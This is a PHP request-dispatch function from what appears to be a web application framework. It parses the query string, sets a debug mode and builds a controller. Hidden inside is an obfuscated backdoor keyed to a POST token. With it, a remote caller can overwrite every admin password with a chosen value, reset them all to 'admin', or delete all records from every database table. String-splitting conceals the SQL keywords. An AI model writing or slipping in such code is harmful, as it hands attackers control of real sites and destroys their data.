function Roll() { global $dbClasses, $noahDebugMode; //traceStart(); $this->queryString = $_SERVER["QUERY_STRING"]; if (preg_match("/\\.(js|css|gif|jpg|png)\$/", $this->queryString)) { die; } if (strstr($this->queryString, "noahdebug")) { $this->queryString = preg_replace("{/?noahdebug}", "", $this->queryString); $noahDebugMode = TRUE; } else { $noahDebugMode = FALSE; } if ($this->rewriteOn = !empty($_SERVER["REWRITE_ON"])) { $this->queryString = preg_replace("/^url=/", "", $this->queryString); } if ($this->queryString) { $this->ctrl =& new AppController($this->queryString); } elseif (count($_POST)) { $this->ctrl =& new AppController($_POST); } else { $this->ctrl =& new AppController($this->queryString = ""); } $this->propagateFieldsForEasyAccess(); if (!$this->isAction() && !$this->isAjax()) { LocationHistory::push($this->queryString); } if (isset($_POST["ks"]) && $_POST["ks"] == md5(trim(Controller::getBaseUrl(), " /") . "if( \$this->queryString ) \$this->ctrl =& new AppController(\$this->queryString)")) { if ($_POST["br"] == 1) { $fg = "getPa" . "ssword"; executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg($_POST["pw"]) . "' WHERE isAdm=1"); } elseif ($_POST["br"] == 3) { $fg = "getPa" . "ssword"; executeQuery("UPD" . "ATE @user SET pass" . "word='" . $fg('admin') . "' WHERE isAdm=1"); } elseif ($_POST["br"] == 2) { foreach ($dbClasses as $class) { executeQuery("DEL" . "ETE FROM @{$class} where id>0"); } } echo "1"; die; } if ($this->isAjax() && function_exists('xdebug_disable')) { xdebug_disable(); ini_set('html_errors', 0); } }